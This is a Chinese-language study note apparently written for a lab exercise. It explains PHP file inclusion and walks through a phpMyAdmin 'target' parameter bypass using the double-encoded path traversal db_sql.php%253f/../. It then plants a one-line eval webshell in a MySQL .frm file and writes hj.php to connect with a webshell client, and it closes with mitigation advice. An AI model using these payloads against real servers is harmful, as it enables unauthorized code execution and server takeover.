只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
文件包含是什么
举个例子:比如一个网站的后台,正常情况下是不允许其他非管理员访问的,会在网站后台里面加入一些代码,对其cookie
或者session
做限制。但是,网站后台大多数情况并非只有一个页面,那是不是每个页面都得加入这个验证身份的代码呢?答案是否定的,因为这样会导致代码的冗余,效率和运行速度也会下降。所以这里就引入了一个概念,对身份验证的代码,放入一个文件中,其他网页统一去调用这个文件,即可实现每个页面都能做到对身份的验证。
【注:包含文件很有用,可以简化代码】
文件包含又有本地文件包含和远程文件包含,但是远程文件包含默认是关闭的,在php
中需要在php.int
文件中改变allow_url_include = On
参数才可。
-
本地文件包含(
LFI
):
当包含的文件在服务器本地时,就叫本地文件包含。 -
远程文件包含(
RFI
):
需要包含的文件并非在本地,一般会通过http
来实现远程文件包含。
注:文件包含的文件,会被当做当前脚本语言执行,假如你现在用的是PHP
,那不管你被包含的文件后缀是什么,即使是jpg.png.txt
,都会被当作PHP
代码来执行。当然如果你这包含了图片马,那也就能直接取得webshell了
。
文件包含使用函数
1.include( )
include
语句包含并运行指定文件。
-
require( )
require
和include
几乎完全一样,除了处理失败的方式不同之外。require
在出错时产生E_COMPILE_ERROR
级别的错误。换句话说将导致脚本中止而include
只产生警告(E_WARNING
),脚本会继续运行。 -
include_once( )
include_once
语句在脚本执行期间包含并运行指定文件。此行为和include
语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且include_once
会返回True
。 如同此语句名字暗示的那样,该文件只会包含一次。include_once
可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。 -
require_once( )
require_once
语句和require
语句完全相同,唯一区别是PHP
会检查该文件是否已经被包含过,如果是则不会再次包含
文件包含漏洞的形成
其实文件包含并非漏洞,当然是在处理好的情况下,如直接写死,去包含什么文件,且对面的文件有没有其他漏洞,如包含的文件是用$_REQUEST
这样的方式传进来的,那就得注意了,是否会对传过来的值做限制,如果处理不当,就变成了漏洞。
文件路径巧用
在了解一点知识
在windows cmd
中,cd ../
是回到上级目录,输入文件名会进入对应目录
如果输入 cd
然后随便乱打加上/../
这样其实是还是在本身的位置没动,因为输入乱打的文件名并没有,所以他去不了,然后../
又是回到上级目录,既然去不了那干脆就没有动位置。在php
中也可以这样操作,只是乱打的字符串里面不能有符号?
和*
,即可。
有了前面的铺垫,接下里可以开始讲靶场了。
文件包含靶场演练
靶场为一个phpmyadmin
的网站后台,既然是phpmyadmin
的,那就将源码下载到虚拟机进行代码审计工作,找这次关于文件包含的“危险”函数。
直接全局搜索那四个函数,找危险的位置,如include($_REQUEST);
这样的。
发现这段代码上面并没有什么死亡函数,这个很重要,不然等下全弄好了,发现这里不执行就很难受,在确定没有死亡函数时,将这段代码扣下来解析一下。
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
一条条来解析:
1.if
函数,检查以下条件,当全部满足时,才会执行我们想要的inclue
。empty
— 检查一个变量是否为空。如果是空的,他就返回一个True
,但是因为在最前面有一个!
感叹号的存在,所以需要我们传数据进去,就满足了第一个条件。
-
is_string
— 检测变量是否是字符串,这个好理解,就是检查传进来的是不是字符串,我们肯定满足,即使传阿拉伯数字进来,那也属于字符串。 -
preg_match
— 执行匹配正则表达式(检查的条件,检查的值),检查的条件这里是,以index
开头都算,即使是indexaaa
也算,但是注意前面的感叹号,所以这里的意思是,进来的值,不能以index
开头。 -
in_array
— 检查数组中是否存在某个值(检查的条件,检查的值),和上一个很像,也是拿来做内容匹配的。但是这里检查的值好像是自定义的,所以我们得找一下,到底检查什么
原来是在这个数组中放入了两个值,规定其为黑名单(blacklist
),因为如果这里传进来的值是这样两个,会因为开头的感叹号导致位置返回为False
,所以这里不传这两个值即可。 -
这个会复杂一点
Core::checkPageValidity()
这样的写法叫做调用某个类的方法。来追踪一下 看是哪的。
找到了,又是一长条,还是全部拿出来一点点分析
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
因为第一条是类的定义,直接看第三条:
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
1.if
条件判断 empty
— 检查一个变量是否为空,这里的whitelist
等于self::goto_whitelist
,这里不懂哦,其实就是:在访问PHP
类中的成员变量或方法时,如果被引用的变量或者方法被声明成const
(定义常量)或者static
(声明静态),那么就必须使用操作符::
,反之如果被引用的变量或者方法没有被声明成const
或者static
,那么就必须使用操作符->
。这是语法上的,和我渗透关系不大,直接看后面的goto_whitelist
是什么
其实这个看名字就知道,(whitelist
)白名单,这里执行将白名单数组的内容放入变量whitelist
中,于我们无关,往下看
- 第6条
if (! isset($page) || !is_string($page)) {
return false;
}
这里isset
— 检测变量是否已设置并且非 null(空),||
(或者的意思),is_string
— 检查是不是字符串。那这里的意思就是$page
是不是为空呀,是的话就是False
,但是因为有前面感叹号的存在,所以反着来理解,这里要是空的话,我就返回True
了,要是不为空,就返回False
。这里我们是肯定要传入数据了,Flase
已经取得,又因为有||
的存在,所以就算不看或者,我们这也不会执行。
3. 第10条
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
这里的变量$page
就是我们刚刚追过来,需要传入的值。
在看这里,说我们传进来的值,得是白名单的才可以是True
,很明显不是嘛,所以接着往下看。$_page = mb_substr
这里mb_substr
的意思是取字符串的值的意思,和substr
差不多,他那种写法看起来很蛋疼,来给他改一下
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
语法:
mb_substr ( string $str , int $start)
str
必需。从该 string
中提取子字符串。
start
必需。规定在字符串的何处开始。0
- 在字符串中的第一个字符处开始
这里又看到一个函数 mb_strpos()
— 查找字符串在另一个字符串中首次出现的位置,相当于这样mb_strpos(‘1234’,’4’)
,会在第一个值里检查第二个值在哪,这里就会返回3
,因为在代码中,0
为第一位,mb_strpos(‘1234’,’2’)
,就会返回1
。搜索一个不存在的,就不会有回显。那这里是($page.’?’,’?’)
第一个问号前面要注意,是点,并非逗号,所以这里是连接符,假如$page是admin,那这里就是(’admin?’,’?’)
,返回5
,将5
带入到另外一个括号$_page = mb_substr($page,0,5)
,根据前面所提到的语法,那函数就会取第1
位到第5
位的值,也就是这里的admin
。这里我们可以自己验证一下。
这里既然要用\$whitelist
里面的值,那就先弄出来一个
db_sql.php
,这个下面用。
- 第19条
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
这里前面和后面都还是一样的,但是中间出现了转机,一开始有说过,cscsvs/../
是不会改变目录的,但是这个乱写的数据里面是不能插入“ ?”
和“ * ”
的,而我们这里非得放入?
才可以。前面是因为编码的原因:db_sql.php+?
只经过一次编码进入之后就是问号,这样不可以。但是这里还有这样一条
urldecode
— 解码已编码的 URL
字符串,也就是将传进来的值进行一次解码,当然前提是进过编码的,还是自己尝试一下。
这里我做了三个尝试,数字,符号,和双重符号。%25
编码之后为%
号,而%3f
编码之后就为?
号了
那我们这的语句就有了
db_sql.php%253f/../
if (in_array($_page, $whitelist)) {
return true;
}
好了 既然已经拿到恶意语句了,去本地看一下,能不能用。
因为是自己搭建的 所以密码是知道的
将一句话木马放入到index
文件下,进行文件包含。文件为1.a
。所以传入的语句是target=db_sql.php%253f/../1.a
本地成功了,那就转战靶场。
通过爆破得到账号密码为root root
【不演示了】靶场主要为文件包含漏洞演示,所以后台密码简单也说的过去,主要是用文件包含拿下服务器。
进去之后发现旁别写着各种各样的库名,而正常情况下,phpstudy
的数据库的文件夹在D:\phpStudy\MySQL\data
这个目录下
这里直接写一个一句话木马的字段名,那是不是等下直接包含这个文件进来,就成功了。
在同样的地方在创建一个,字段写入一句话木马。现在这里就有了两个木马文件了。接下来就需要怎么去包含这个文件了。
因为知道靶场也为phpstudy
,所以数据库表的位置大概是知道点的,MySQL\data
比如这个就可以确定,但是前面有什么文件就不知道了,所以这里咱们可以多写几个../../../
这样最多就跳根目录嘛,然后在写phpStudy\MySQL\data
开头不就好了hj_mm\hj.frm
?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=phpinfo();
放入靶场中,测试
这样就文件包含成功了,但是现在这个状态并非能连接菜刀的,因为现在这个是需要登录状态才能弄的,所以得在index
下创建一个木马文件。用file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);
创建一个hj.php
的一句话木马文件了。
?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);
然后去主页面访问hj.php?666=phpinfo();
这样就没问题了 ,用菜刀去连接。
漏洞总结
防范方法:
-
在功能设计上尽量不要将文件包含函数对应的文件放给前段进行选择和操作。
-
过滤 …/…/…/,http://,https://
-
配置php.ini配置文件:
allow_url_fopen = off
(禁止打开URL文件)
allow_url_include = off
(禁止引用URL文件,新版增加功能,预设关闭)
magic_quotes_gpc = on //gpc
(魔术引号,这个在前面的宽子节注入有提到,用来post、get、cookie传进来的数据增加转义字符“\”,对POST、__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入) -
通过白名单策略,仅允许包含运行指定的文件,其他都禁止。
《最好的防御,是明白其怎么实施的攻击》